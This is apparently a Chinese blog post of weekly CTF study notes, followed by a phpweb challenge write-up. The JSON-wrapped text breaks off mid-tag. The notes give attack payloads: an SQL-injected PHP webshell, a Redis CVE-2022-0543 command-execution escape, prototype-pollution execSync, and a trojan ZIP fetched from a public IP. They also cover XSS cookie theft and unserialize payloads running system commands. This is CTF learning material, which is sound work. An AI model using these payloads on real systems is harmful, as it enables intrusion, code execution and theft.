{"id":38,"date":"2025-12-15T13:38:36","date_gmt":"2025-12-15T05:38:36","guid":{"rendered":"http:\/\/47.95.6.127\/?p=38"},"modified":"2026-05-27T17:12:30","modified_gmt":"2026-05-27T09:12:30","slug":"uky%e5%91%a8%e6%8a%a5%ef%bc%88%e5%ae%8c%e7%bb%93%ef%bc%89","status":"publish","type":"post","link":"https:\/\/fisssssh.top\/index.php\/2025\/12\/15\/uky%e5%91%a8%e6%8a%a5%ef%bc%88%e5%ae%8c%e7%bb%93%ef%bc%89\/","title":{"rendered":"UKY\u5468\u62a5\uff08\u5b8c\u7ed3\uff09"},"content":{"rendered":"<p>[mct_toc]<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-995f960e wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n<\/div>\n<\/div>\n\n\n\n<h2 id=\"10-27-11-2\u5468\" class=\"wp-block-heading\">10.27&#8211;11.2\u5468<\/h2>\n\n\n\n<h4 id=\"\u672c\u5468\u590d\u73b0\u4e86newstar2024\u7684week1-week3-\u5e76\u4e14\u505a\u4e86\u516d\u9053b\" class=\"wp-block-heading\">\u672c\u5468\u590d\u73b0\u4e86newstar2024\u7684week1-week3\uff0c\u5e76\u4e14\u505a\u4e86\u516d\u9053buu\u7684\u9898\u76ee\uff0cphp\u4ee3\u7801\u5ba1\u8ba1\u504f\u591a<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u200b \u5bf9\u4e4b\u524d\u8f83\u4e3a\u6a21\u7cca\u7684\u77e5\u8bc6\u70b9\u8fdb\u884c\u4e86\u8865\u5145\uff0c\u5982php\u4f2a\u534f\u8bae\uff0ccookie\u7684\u7ec4\u6210\u548c\u90e8\u5206php\u4ee3\u7801\u7ed5\u8fc7\u7b49<br>\u200b 1.\u5982\u679c\u76f4\u63a5\u4f20\u53c2\u540d NewStar_CTF.2024\u4f1a\u53d1\u73b0\u5e76\u6ca1\u6709\u7528\u3002\u8fd9\u662f\u7531 NewStar_CTF.2024 \u4e2d\u7684\u7279\u6b8a\u5b57\u7b26 . \u5f15\u8d77\u7684\uff0cPHP \u9ed8\u8ba4\u4f1a\u5c06\u5176\u89e3\u6790\u4e3a NewStar_CTF_2024\u3002\u53ef\u4ee5\u4f7f\u7528 [ \u5b57\u7b26\u7684\u975e\u6b63\u786e\u66ff\u6362\u6f0f\u6d1e\u3002\u5f53\u4f20\u5165\u7684\u53c2\u6570\u540d\u4e2d\u51fa\u73b0 [ \u4e14\u4e4b\u540e\u6ca1\u6709 ] \u65f6\uff0cPHP \u4f1a\u5c06 [ \u66ff\u6362\u4e3a _\uff0c\u4f46\u6b64\u4e4b\u540e\u5c31\u4e0d\u4f1a\u7ee7\u7eed\u66ff\u6362\u540e\u9762\u7684\u7279\u6b8a\u5b57\u7b26\u4e86\u56e0\u6b64\uff0cGET \u4f20\u53c2 NewStar[CTF.2024\u5373\u53ef<br>\u200b 2.\u5728git\u6cc4\u9732\u7c7b\u578b\u9898\u4e2d\uff0c\u5f00\u53d1\u8005\u4f1a\u4f7f\u7528 git stash \u6765\u6682\u5b58\u672a\u63d0\u4ea4\u7684\u66f4\u6539\u3002\u8fd9\u4e9b\u66f4\u6539\u5b58\u50a8\u5728 .git\/objects \u4e2d\uff0c\u53ef\u4ee5\u88ab\u6062\u590d\u3002\u5728cd\u5230\u6307\u5b9a\u7684\u76ee\u5f55\u4e0b\uff0c\u6062\u590d\u51fa\u7684\u4ed3\u5e93\u4e2d\uff0c\u4f7f\u7528 git stash list \u67e5\u770b\u6682\u5b58\u5217\u8868\u3002\u4f7f\u7528 git stash apply \u5e94\u7528\u6682\u5b58\uff0c\u67e5\u770b\u6682\u5b58\u7684\u5185\u5bb9\u3002git stash pop\u8fd8\u539f\u6587\u4ef6<br>\u200b 3.cmd\u91cctype\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\uff0c\u659c\u6760\u6362\u6210\u53cd\u659c\u6760\uff0c\u6587\u4ef6\u540d\u52a0\u53cc\u5f15\u53f7<br>\u200b 4.\u6709\u65f6\u5019\u5728\u4f20Base64 \u52a0\u5bc6\u540e\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u62a5\u9519\uff0c\u662f\u56e0\u4e3a\u4e0d\u80fd\u5e26\u6709=\uff0c\u4f1a\u88abwaf\uff0c\u8fd9\u65f6\u76f4\u63a5\u5220\u6389\u7ed3\u5c3e\u7b49\u53f7\u5373\u53ef\uff0c\u540e\u8005\u5728\u660e\u6587\u540e\u9762\u591a\u52a0\u4e00\u4e9b\u7a7a\u683c\u4ee5\u4f7f\u52a0\u5bc6\u7ed3\u679c\u4e0d\u5e26\u7b49\u53f7,\u82e5\u6700\u540e\u662f+\u7684\u8bdd\uff0c\u6211\u4eec\u5728GET\u4f20\u53c2\u5fc5\u987b\u5c06\u5176\u7f16\u7801\u4e3a %2B\uff0c\u4e0d\u7136+\u4f1a\u88ab\u89c6\u4f5c\u7a7a\u683c<br>\u200b 5.\u5982\u679c\u6709\u7c7b\u4f3c\u95ef\u5173\u7684\u9898\u76ee\uff0c\u4e0b\u4e00\u5173\u51fa\u4e0d\u6765\u7684\u65f6\u5019\u53ef\u4ee5\u8bd5\u8bd5\u66f4\u65b0\u4e00\u4e0bcookie\uff08\uff09\uff0c\u5982\u679c\u8981\u4fee\u6539\uff0c\u9700\u8981\u62ff\u5230key\u4e4b\u540e\u53bbjwt\u4fee\u6539\u540e\u4f20\u5165<br>\u200b 6.nc (Netcat)\uff0c\u76f4\u63a5\u4e0e\u670d\u52a1\u5668\u8fdb\u884c\u901a\u4fe1\uff0c\u4e0d\u52a0\u5176\u4ed6\u7684\u4e1c\u897f\uff0c\u9010\u5b57\u8282\u53d1\u9001\u548c\u63a5\u6536\u6570\u636e\uff0c\u6709\u65f6\u5019nc\u7c7b\u9898\u76ee\u4e2d\u67d0\u4e9b\u6587\u5b57\u663e\u793a\u4e71\u7801\uff0c\u53ef\u4ee5\u4f7f\u7528nc\u76f4\u63a5\u8fde\u63a5<br>\u200b 7.\u5728\u9898\u76ee\u4e2d\u9700\u8981\u8981\u6c42\u6587\u4ef6\u5185\u5bb9\uff0c\u5982file_get_contents($text,&#8217;r&#8217;)===&#8221;welcome to the zjctf&#8221;\u65f6\uff0c\u53ef\u4ee5\u7528url\u5199data\u534f\u8bae\u76f4\u63a5\u63d0\u4f9b\u5185\u5bb9\uff0c\u65e0\u9700\u521b\u5efa\u6587\u4ef6\uff0c\u8bed\u6cd5data:\/\/text\/plain,welcome to the zjctf<\/p>\n\n\n\n<h4 id=\"\u672c\u5468\u603b\u7ed3-\u5b66\u5230\u4e86\u4e4b\u524d\u6ca1\u6709\u63a5\u89e6\u8fc7\u7684\u77e5\u8bc6\u70b9stash\" class=\"wp-block-heading\">\u672c\u5468\u603b\u7ed3\uff1a\u5b66\u5230\u4e86\u4e4b\u524d\u6ca1\u6709\u63a5\u89e6\u8fc7\u7684\u77e5\u8bc6\u70b9stash\uff0cpython\u6c99\u76d2\u9003\u9038\uff0cjwt\u6539cookie\u7b49,\u8865\u4e60\u4e86\u4e00\u4e0b\u4e4b\u524d\u4e86\u89e3\u4e0d\u591f\u7262\u9760\u7684\u90e8\u5206\u77e5\u8bc6\u70b9<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u53e6\u5916\u68c0\u8ba8\u4e00\u4e0b\uff0c\u8fd9\u5468\u5149\u987e\u6253\u6d32\u4e86\uff0c\u6ca1\u505a\u591a\u5c11\u9898\uff08\uff09<br>\u200b \u4e0b\u5468\u5b66\u4e60\u8ba1\u5212\uff1a\u4e89\u53d6\u590d\u73b0\u5b8cnewstar2024\u6240\u6709\u9898\u76ee\uff0c\u4e86\u89e3\u4e00\u4e0b\u670d\u52a1\u5668\u76d1\u542c\uff0c\u6c61\u67d3404\u9875\u9762\u7b49<\/p>\n\n\n\n<h2 id=\"11-3-11-9\u5468\" class=\"wp-block-heading\">11.3&#8211;11.9\u5468<\/h2>\n\n\n\n<h4 id=\"\u672c\u5468\u590d\u73b0\u5b8c\u6bd5newstar2024\u5168\u90e8\u9898\u76ee-week4-5\u505a\u4e0b\u6765?\" class=\"wp-block-heading\">\u672c\u5468\u590d\u73b0\u5b8c\u6bd5newstar2024\u5168\u90e8\u9898\u76ee\uff0cweek4-5\u505a\u4e0b\u6765\u6574\u4f53\u611f\u89c9\u504f\u96be\u4f46\u662f5\u53cd\u800c\u6bd44\u7b80\u5355\uff08\uff09\uff0cbuu\u505a\u4e865\u9053\u9898\uff0c\u6781\u5ba2\u5927\u6311\u6218\u505a\u4e863\u9053\uff0c\u5b66\u5230\u4e86\u5f88\u591a\u65b0\u77e5\u8bc6\u70b9\u3002<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u200b ps\uff1a\u5b66\u7684\u6709\u70b9\u6742\uff0c\u5927\u90e8\u5206\u8fd8\u662f\u5bf9\u4e4b\u524d\u7684\u77e5\u8bc6\u70b9\u7684\u8865\u5145\u548c\u6df1\u5165\u4e86\u89e3\u3002<br>\u200b 1.sql\u6ce8\u5165\u8fc7\u6ee4\u7a7a\u683c\u5c31\u7528()\u5c06\u5185\u5bb9\u5305\u88f9\u8d77\u6765\uff0c\u5982select(table_name)from(information_schema.tables)<br>\u8fc7\u6ee4=\u5c31\u7528like\u66ff\u4ee3\uff0c\u8fc7\u6ee4by union\u7b49\u8bf4\u660e\u8fc7\u6ee4\u4e86\u8054\u5408\u6ce8\u5165\uff0c\u9700\u8981\u91c7\u7528\u62a5\u9519\u6ce8\u5165\uff0c(extractvalue(1, concat(0x7e, (select database()))))\uff0c\u76f4\u63a5\u62a5\u9519\uff0c\u5e76\u4e14\u56de\u663e\u5230\u540e\u9762\u68c0\u6d4b\u7684\u6570\u636e\u5e93\u7684\u539f\u7406\u7ee7\u7eed\u6ce8\u5165<br>\u200b 2.\u6587\u4ef6\u4e0a\u4f20\u7c7b\u6709\u65f6\u4e0d\u4f1a\u628a\u6587\u4ef6\u81ea\u52a8\u89e3\u6790\u6210php\uff0c\u5c31\u9700\u8981\u7528htaccess\u66f4\u6539\u670d\u52a1\u5668\u914d\u7f6e\uff0c.htaccess\u88ab\u7981\u7528\u53ef\u4ee5\u5c1d\u8bd5.user.ini<br>\u200b 3.\u672c\u5730\u6587\u4ef6\u8bfb\u53d6\uff0c\u5728\u5bf9\u8bfb\u53d6\u6587\u4ef6\u6709\u957f\u5ea6\u9650\u5236\uff0c\u4e14\u901a\u914d\u7b26\u4e0d\u53ef\u4f7f\u7528\u7684\u60c5\u51b5\u4e0b\uff0c\u5e94\u8be5\u91c7\u7528\u6587\u4ef6\u63cf\u8ff0\u7b26\u6765\u8bfb\u53d6\u76ee\u7684\u6587\u4ef6\uff0c\u6587\u4ef6\u63cf\u8ff0\u7b26\u662f\u64cd\u4f5c\u7cfb\u7edf\u4e3a\u8fdb\u7a0b\u7ef4\u62a4\u7684\u4e00\u4e2a\u6574\u6570\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u6709\u4e00\u4e2afd\u8868\uff0c\u5982\/proc\/self\/fd\/3\uff0c\u4e0d\u884c\u5c31\u5f80\u540e\u8bd5\uff08\uff09<br>\u200b 4.md5\u4e24\u6b21\u540e\u662f0e\u2026..\u7eaf\u6570\u5b57\u7684\u662f179122048<br>\u200b 5.sql\u6ce8\u5165\u4e2dselect\u53e5\u6bb5\u88ab\u7981\u7528\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5806\u53e0\u6ce8\u5165\uff0c\u540c\u65f6\u53ef\u4ee5\u4f7f\u7528handler\u547d\u4ee4\u76f4\u63a5\u8bfb\u53d6\u8868\u4e2d\u7684\u6570\u636e\uff0c\u4f8b\u5982\u8bed\u6cd5\uff1a1&#8242;;HANDLER \u8868\u540d OPEN;HANDLER \u8868\u540d READ NEXT;HANDLER \u8868\u540d CLOSE;#\u6839\u636e\u9898\u76ee\u7c7b\u578b\u63d2\u5165\u5e03\u5c14\u76f2\u6ce8\u6216\u5176\u4ed6\u6ce8\u5165\u7c7b\u578b<br>\u200b 6.\u5728\u4e25\u683c\u8fc7\u6ee4\u7684\u73af\u5883\u4e0b\u83b7\u53d6flag\uff0c\u5728\u5f97\u77e5flag\u6587\u4ef6\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\uff0c\u65e0\u6cd5\u901a\u8fc7\u6b63\u5e38\u65b9\u6cd5\u76f4\u63a5\u8bbf\u95ee\u5f97\u5230\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u6c61\u67d3404\u9875\u9762\uff0c\u4f8b\uff1a\u5728flask\u4e2d\u53ef\u4ee5\u4f7f\u7528setattr(NotFound, &#8216;description&#8217;, command_result)\u52a8\u6001\u4fee\u6539404\u9875\u9762\u7684\u63cf\u8ff0\u5185\u5bb9\uff0c\u518d\u8ddf\u4e0a\u6267\u884c\u547d\u4ee4\u83b7\u53d6flag\uff0c\u5c06flag\u547d\u4ee4\u56de\u663e\u5230404\u9875\u9762<br>\u200b 7.\u76ee\u5f55\u7a7f\u8d8a\uff0c\u5229\u7528Flask\u6846\u67b6\u9759\u6001\u6587\u4ef6\u8def\u7531\u7684\u6f5c\u5728\u7f3a\u9677\uff0c\u7ed5\u8fc7\u76ee\u5f55\u9650\u5236\/..\/\u6765\u8bfb\u53d6\u76ee\u5f55\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u76f4\u63a5\u5728url\u4e2d\u8bbf\u95ee\u5e76\u4e0d\u4f1a\u6210\u529f\uff0c\u56e0\u4e3a\u65e0\u6cd5\u5bf9\u5176\u8fdb\u884c\u6b63\u786e\u89e3\u6790\uff0c\u4f7f\u7528burpsuite\u7b49\u6539\u8bf7\u6c42\u6765\u8bbf\u95ee\u76ee\u6807\u76ee\u5f55\uff0c\u8fdb\u800c\u8bfb\u53d6\u5230\u6e90\u7801<br>\u200b 8.jwt\u5bc6\u7801\u7206\u7834\uff0c\u5728\u5f97\u77e5\u5bc6\u7801\u7684\u7ec4\u6210\u6216\u5927\u81f4\u8303\u56f4\u4e4b\u540e\uff0c\u53ef\u4ee5\u751f\u6210\u5b57\u5178\u8fdb\u884c\u7206\u7834\uff0c\u7528jwtcrack-master\uff0c\u547d\u4ee4\u7ec4\u6210\u4e3apython.exe .crackjwt.py \u5f53\u524dcookie .\u5b57\u5178\u6587\u4ef6\uff0c\u9700\u8981\u653e\u5728\u6839\u76ee\u5f55\u4e0b<br>\u200b 9.cms\u7c7b\u9898\u540e\u53f0\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\uff0c\u4efb\u610f\u6587\u4ef6\u89e3\u538b\u6f0f\u6d1e\u3002\u82e5\u5bb9\u5668\u51fa\u7f51\uff0c\u5728\u516c\u7f51\u670d\u52a1\u5668\u4e0a\u653e\u7f6e\u5305\u542b PHP \u6728\u9a6c\u7684 ZIP \u6587\u4ef6\uff0c\u518d\u5728\u9898\u76ee\u4e0a\u89e6\u53d1\u4e0b\u8f7dZIP\uff0c\u89e6\u53d1\u89e3\u538b\u4e4b\u540e\u8fd0\u884c\u5bf9\u5e94\u6587\u4ef6\u4e2d\u7684php\u6728\u9a6c\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u4f8b\u5982\u4e0b\u8f7dfilepath=apidata&amp;action=start-download&amp;type=0&amp;download_url=http:\/\/\u516c\u7f51IP\/payload.zip\u89e3\u538bfilepath=apidata&amp;action=file-upzip\u3002\u82e5\u5bb9\u5668\u4e0d\u51fa\u7f51\uff0c\u5c31\u9700\u8981\u5148\u4e0a\u4f20ZIP\u5230\u670d\u52a1\u5668\uff0c\u518d\u4e0b\u8f7d\u89e3\u538b\u8fd0\u884c\u3002<br>\u200b 10.ROT13\u5b57\u6bcd\u66ff\u6362\u5bc6\u7801\uff0c\u51ef\u6492\u5bc6\u7801\u7684\u4e00\u79cd\uff0c\u504f\u79fb\u91cf\u56fa\u5b9a\u4e3a13\uff0c\u6587\u4ef6\u76ee\u5f55\u6216\u8005flag\u683c\u5f0f\u6709\u95ee\u9898\u7684\u65f6\u5019\u53ef\u4ee5\u8bd5\u4e00\u4e0b\u662f\u4e0d\u662f\u79fb\u4f4d\u52a0\u5bc6\u8fc7\u4e86<br>\u200b 11.__toString()\u662fPOP\u94fe\u7684\u5e38\u89c1\u5165\u53e3\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u5176\u4e2d\u8c03\u7528\u5176\u4ed6\u65b9\u6cd5\u6216\u8bbf\u95ee\u5176\u4ed6\u5c5e\u6027<br>\u200b 12.\u539f\u578b\u94fe\u6c61\u67d3\u4e2d\uff0c\u901a\u8fc7\u4fee\u6539\u539f\u578b\u5bf9\u8c61\uff0c\u5f71\u54cd\u6240\u6709\u57fa\u4e8e\u8be5\u539f\u578b\u7684\u5bf9\u8c61\u3002process.env \u5305\u542b\u6240\u6709\u73af\u5883\u53d8\u91cf\uff0c\u5176\u4e2d\u5b50\u8fdb\u7a0b\u4f1a\u7ee7\u627f\u7236\u8fdb\u7a0b\u7684\u73af\u5883\u53d8\u91cf\uff0cNODE_OPTIONS\u7279\u6b8a\u73af\u5883\u53d8\u91cf\uff0c\u7528\u4e8e\u4f20\u9012\u547d\u4ee4\u884c\u53c2\u6570\uff0cchild_process.fork()\u521b\u5efaNode.js\u5b50\u8fdb\u7a0b\uff0c\u800c\u540eexecSync()\u540c\u6b65\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002\u901a\u8fc7\u8fd9\u6837\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u4f8b\u5982\uff1arequire(&#8220;child_process&#8221;).execSync(&#8220;\u76ee\u7684\u547d\u4ee4 | base64 -d &gt; \/app\/index.js&#8221;)\/\/<br>\u200b 13.\u5982\u679c\u5728\u9898\u76ee\u4e2d\u9700\u8981\u66f4\u6539\u6216\u521b\u5efa\u5bf9\u8c61\uff0c\u5e94\u8be5\u4f7f\u7528put\u8bf7\u6c42<br>\u200b 14.XSS\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff0cXSS\u9898\u76ee\u7684\u5178\u578b\u5c31\u662f\u6709\u4e00\u4e2abot\uff0cflag\u901a\u5e38\u5c31\u5728\u8fd9\u4e2abot\u7684cookie\u91cc\u9762\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u627e\u5230\u4e00\u5904\u80fd\u591f\u8f93\u5165\u5e76\u67e5\u770b\u7684\u5730\u65b9\u5199\u5165\u4e00\u4e2a\u6076\u610f\u4ee3\u7801\u5230\u670d\u52a1\u7aef\uff0c\u8ba9bot\u53bb\u8bbf\u95ee\u8fd0\u884c\u5b83\uff0c\u8fdb\u800c\u83b7\u5f97cookie\u3002\u62ff\u5230cookie\u4e4b\u540e\u7684\u56de\u663e\u95ee\u9898\uff0c\u5982\u679c\u9898\u76ee\u51fa\u7f51\uff0c\u53ef\u4ee5\u5199\u547d\u4ee4\u8ba9\u5b83\u53d1\u9001\u5230\u6211\u4eec\u7684\u670d\u52a1\u5668\u4e0a\u9762\uff1b\u5982\u679c\u4e0d\u51fa\u7f51\uff0c\u5c31\u53ef\u4ee5\u5199\u4e00\u4e2aJS\u4ee3\u7801\u8ba9bot\u6a21\u62df\u7528\u6237\u64cd\u4f5c\uff0c\u5c06Cookie\u5728\u4e4b\u524d\u627e\u5230\u7684\u8f93\u5165\u70b9\u8fdb\u884c\u8bfb\u53d6<br>\u200b 15.Redis\u547d\u4ee4\u6267\u2f8f\u6c99\u7bb1\u9003\u9038\uff0cCVE-2022-0543\uff0cRedis\u7684Lua\u73af\u5883\u662f\u4e00\u4e2a\u516c\u5171Lua\u5e93\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528Lua\u7684 package.loadlib\u51fd\u6570\uff0c\u52a0\u8f7d\u8fd9\u4e2a\u7cfb\u7edf\u5e93\uff0c\u5e76\u8c03\u7528\u5176\u4e2d\u7684\u5371\u9669\u51fd\u6570\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u4f8b\u5982\uff1a\u5148\u901a\u8fc7local io_l = package.loadlib(&#8220;\/usr\/lib\/x86_64-linux-gnu\/liblua5.1.so.0&#8221;, &#8220;luaopen_io&#8221;);\u627e\u5230\u76ee\u7684package.loadlib\u51fd\u6570\uff0clocal io = io_l();\u63d0\u53d6\u8868\u4e2d\u7684\u5371\u9669\u51fd\u6570\uff0clocal f = io.popen(&#8220;\u6307\u5b9a\u547d\u4ee4&#8221;, &#8220;r&#8221;);r\u7528\u8bfb\u53d6\u6a21\u5f0f\u542f\u52a8\u547d\u4ee4\uff0c\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u53e5\u67c4\uff0c\u5c06\u5176\u4fdd\u5b58\u5728\u53d8\u91cff\u4e2d\uff0clocal res = f:read(&#8220;*a&#8221;);\u7ed3\u679c\u4fdd\u5b58\u5728res\u4e2d\uff0creturn res\u8fd4\u56deres<br>\u200b 16.sql\u6ce8\u5165\u4e2d\u82e5\u9898\u76ee\u63d0\u793aflag\u4e0d\u5728\u6570\u636e\u5e93\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u9700\u8981getshell\u5199\u5165\u540e\u95e8\u6587\u4ef6\uff0c\u5199\u4e00\u4e2a\u6728\u9a6c\uff0c\u4f8b\u5982\uff1a-1&#8217;union select 1,2,&#8221;&lt;?php eval($_GET[1]);&#8221; into outfile &#8220;\/var\/www\/html\/1.php&#8221;&#8211;+\u518d\u901a\u8fc7get\u7684\u53c2\u6570\u6267\u884c\u4efb\u610f\u547d\u4ee4<\/p>\n\n\n\n<h4 id=\"\u672c\u5468\u603b\u7ed3-\u57fa\u672c\u5b8c\u6210\u4e86\u672c\u5468\u7684\u5b66\u4e60\u8ba1\u5212-\u5b66\u5230\u4e86?\" class=\"wp-block-heading\">\u672c\u5468\u603b\u7ed3\uff1a\u57fa\u672c\u5b8c\u6210\u4e86\u672c\u5468\u7684\u5b66\u4e60\u8ba1\u5212\uff0c\u5b66\u5230\u4e86\u5f88\u591a\u65b0\u77e5\u8bc6\u70b9\uff0cRedis\u6c99\u7bb1\u9003\u9038\uff0cXSS\u8de8\u7ad9\u811a\u672c\u653b\u51fb\u548ccms\u540e\u53f0\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u7b49\u3002\u672c\u5468\u5b66\u7684\u6709\u70b9\u591a\uff0c\u90e8\u5206\u77e5\u8bc6\u70b9\u76ee\u524d\u53ea\u505a\u8fc7\u5bf9\u5e94\u7684\u4e00\u9053\u9898\uff0c\u5e76\u6ca1\u6709\u5b8c\u5168\u638c\u63e1\uff0c\u8fd8\u9700\u8981\u540e\u7eed\u7684\u8bad\u7ec3<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u5468\u5b66\u4e60\u8ba1\u5212\uff1a\u518d\u6b21\u5c1d\u8bd5\u4e00\u4e0b\u6781\u5ba2\u5927\u6311\u6218\uff0c\u591a\u505a\u4e00\u70b9buu\u7684\u9898\uff0c\u770b\u80fd\u4e0d\u80fd\u9047\u5230\u65b0\u5b66\u7684\u77e5\u8bc6\u70b9\uff0c\u628a\u77e5\u8bc6\u70b9\u5b9e\u6218\u5de9\u56fa\u4e00\u4e0b<\/p>\n\n\n\n<h2 id=\"11-17-11-23\u5468\" class=\"wp-block-heading\">11.17&#8212;11.23\u5468<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u672c\u5468\u603b\u7ed3:\u8fd9\u5468buu\u5d29\u4e86\uff0c\u6211\u4e5f\u5d29\u4e86\uff0c\u4e00\u76f4\u53d1\u70e7\uff0c\u6ca1\u6709\u723d\u505a\u9898\uff0c\u4e5f\u6ca1\u6709\u723d\u6253\u6e38\u620f\uff0c\u4e0d\u5f00\u5fc3\u7684\u4e00\u5468\uff0c\u4f46\u662f\u8fd8\u662f\u5b66\u5230\u4e86\u4e00\u4e9b\u65b0\u77e5\u8bc6\uff0c\u4e5f\u7b97\u662f\u5f88\u5f00\u5fc3\u7684\u4e8b\u60c5\u4e86\u3002\u4e2a\u4eba\u535a\u5ba2\u4e5f\u642d\u5efa\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u7b49\u660e\u5e741\u6708\u524d\u540e\u57df\u540d\u5907\u6848\u4e4b\u540e\u5e94\u8be5\u5c31\u53ef\u4ee5\u6b63\u5f0f\u4e0a\u7ebf\u4e86\uff0c\u6b22\u8fce\u5404\u4f4d\u6765\u73a9~<\/p>\n\n\n\n<h3 id=\"1-\u7f51\u9f0e\u676f-2020-\u6731\u96c0\u7ec4-phpweb\" class=\"wp-block-heading\">1.[\u7f51\u9f0e\u676f 2020 \u6731\u96c0\u7ec4]phpweb<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230\u9898\u76ee\u8bbf\u95ee\u4e00\u4e0b\uff0c\u53d1\u73b0\u9875\u9762\u4f1a\u81ea\u52a8\u5237\u65b0<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/61ab71c9a8c1f112c4aa569493eabf01.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u6211\u4eec\u6293\u4e00\u4e0b\u5305<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0499789c8210a128e0974eab7566e652.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u660e\u663edate\u662f\u4e00\u4e2aphp\u7684\u51fd\u6570\uff0c\u800cp\u662f\u5176\u4e2d\u7684\u4e00\u4e2a\u53c2\u6570\uff0c\u8868\u793a\u8f93\u51fa\u65f6\u95f4\u3002<br>\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u6267\u884c\u4e00\u4e0beval\u51fd\u6570<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/38e13c463a71604b8ad38c4b23431990.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u660e\u663e\uff0c\u88ab\u62e6\u4e86\u3002\u8fd9\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u8003\u8651\u4e00\u4e0b\u8bfb\u53d6index.php\u7684<a href=\"https:\/\/so.csdn.net\/so\/search?q=\u6e90\u7801&amp;spm=1001.2101.3001.7020\">\u6e90\u7801<\/a><br>\u5229\u7528highlight_file\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>func=highlight_file&amp;p=index.php<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/9d9c7b41aa43fcf74f9a23cabf699ae3.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b4a1faaca13d98e591bce854f293a0a1.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u660e\u663e\u8fd9\u91cc\u7684Test\u5c31\u662f\u8bfb\u53d6\u4e86func\uff0c\u9700\u8981\u4f60\u6784\u9020\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u53bb\u7ed5\u8fc7\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Test{\n    var $p=\"ls \/\";\n    var $func=\"system\";\n}\n$a =new Test();\necho serialize($a);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230payload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>func=unserialize&amp;p=O:4:\"Test\":2:{s:1:\"p\";s:4:\"ls \/\";s:4:\"func\";s:6:\"system\";}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f20\u5165\u540e\u5f97\u5230<img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0d048bb3fe8859531ccef783e7b1d690.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#\u6784\u9020payload\n#\u53cd\u5e8f\u5217\u5316\u524d\u7684\u8bed\u53e5:find \/ -name flag*\nfunc=unserialize&amp;p=O:4:\"Test\":2:{s:1:\"p\";s:18:\"find \/ -name flag*\";s:4:\"func\";s:6:\"system\";}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230\u5b58\u6709flag \u7684\u6587\u4ef6\u5939<code>\/tmp\/flagoefiu4r93<\/code><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/25ddf6edb5f2f5f1166a221a8d35afce.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"><\/p>\n\n\n\n<p 